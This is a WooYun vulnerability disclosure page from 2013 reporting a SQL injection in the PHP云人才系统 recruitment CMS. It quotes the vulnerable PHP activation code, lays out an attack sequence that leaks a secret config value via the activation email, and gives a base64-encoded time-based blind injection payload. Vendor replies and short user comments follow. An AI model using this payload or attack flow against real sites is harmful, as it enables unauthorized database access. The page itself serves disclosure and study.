当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(7) 关注此漏洞

缺陷编号: WooYun-2013-43618

漏洞标题: php云人才系统sql注入漏洞

相关厂商: php云人才系统

漏洞作者: Matt认证白帽子

提交时间: 2013-11-21 17:15

公开时间: 2014-02-16 17:16

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-21: 细节已通知厂商并且等待厂商处理中
2013-11-21: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-01-15: 细节向核心白帽子及相关领域专家公开
2014-01-25: 细节向普通白帽子公开
2014-02-04: 细节向实习白帽子公开
2014-02-16: 细节向公众公开

简要描述:

详细说明:

index.php?M=qqconnect&C=mcert&id=MScgYW5kIHNsZWVwKDEwKSBhbmQgJzEnPScxfDE0OTA4MTQyfA==

测试



model/qqconnect.class.php



function mcert_action(){

$id=$_GET['id'];

$arr=@explode("|",base64_decode($id));//解码

if($id && is_array($arr) && $arr[0] && $arr[2]==$this->config['coding']){//主要看coding 是配置文件里面的 默认是空 如果修改

#echo "`email_status`='1'","`uid`='".$arr[0]."'";

$nid=$this->obj->DB_update_all("member","`email_status`='1'","`uid`='".$arr[0]."'");//带入查询

$nid?$this->obj->ACT_msg($this->config['sy_weburl']."/index.php?M=login&usertype=1","激活成功"):$this->obj->ACT_msg($this->config['sy_weburl'],"激活失败,联系管理员认证");

}else{

$this->obj->ACT_msg($this->config['sy_weburl'],"非法操作!","2");

}

}







如果网站修改了coding的情况下

model/sendcert.class.php

function sendcert_action()

{

extract($_POST);

if(md5($_POST["authcode"])!=$_SESSION[authcode]){

$this->obj->ACT_msg("index.php?M=forgetpw","验证码错误","2");

}

$info = $this->obj->DB_select_once("member","`username`='$username'","`uid`,`email_status`,`email`");

if(is_array($info))

{

if($info[email_status]=="1")

{

$this->obj->ACT_msg("index.php?M=login&usertype=1", $msg = "您的账户已经激活,请直接登录!", $st = 2, $tm = 3);

}

$randstr=rand(10000000,99999999);

$base=base64_encode($info[uid]."|".$randstr."|".$this->config[coding]);//这里加入了coding发送给了用户

//echo $base;

$data["type"]="cert";

$data["email"]=$info[email];

echo $this->config[sy_weburl]."/index.php?M=qqconnect&C=mcert&id=".$base;

$data["url"]="<a href='".$this->config[sy_weburl]."/index.php?M=qqconnect&C=mcert&id=".$base."'>点击激活</a>";

$data["date"]=date("Y-m-d");

$this->send_msg_email($data);

$this->obj->ACT_msg("index.php?M=sendcert", $msg = "激活邮件已经发送到您的邮箱!", $st = 2, $tm = 3);

}else{

$this->obj->ACT_msg("index.php?M=login", $msg = "对不起!没有该用户!", $st = 2, $tm = 3);

}

}

漏洞证明:

这样我们构造攻击流程

1 注册用户

2 找回密码 打开找回密码页面获取一个验证码 然后 打开**.**.**.**/index.php?M=sendcert&C=sendcert POST提交 authcode=验证码&username=注册用户名

3 查看邮箱 解密base内容 获取coding

4 构造exp进行注入

http://**.**.**.**/index.php?M=qqconnect&C=mcert&id=MScgYW5kIHNsZWVwKDEwKSBhbmQgJzEnPScxfDE0OTA4MTQyfA==

其中base部分解码为 1' and sleep(10) and '1'='1|14908142|

进行延时注入

修复方案:

过滤

版权声明:转载请注明来源 Matt@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-02-16 17:16

厂商回复:

我们已于本月18号发布了修复补丁,感谢您的提供!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-11-21 18:59 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:88888 | WooYun认证√)
    1

    为何你忽略了不让看,为何这么吊

  2. 2013-11-22 11:02 | 猪头子 ( 普通白帽子 | Rank:189 漏洞数:35 | 自信的看着队友rm -rf/tar挂服务器)
    0

    重复了。。。

  3. 2013-11-23 10:54 | 残废 ( 普通白帽子 | Rank:274 漏洞数:58 | 我是残废,啦啦啦啦)
    0

    你为何如此屌?

登录后才能发表评论,请先 登录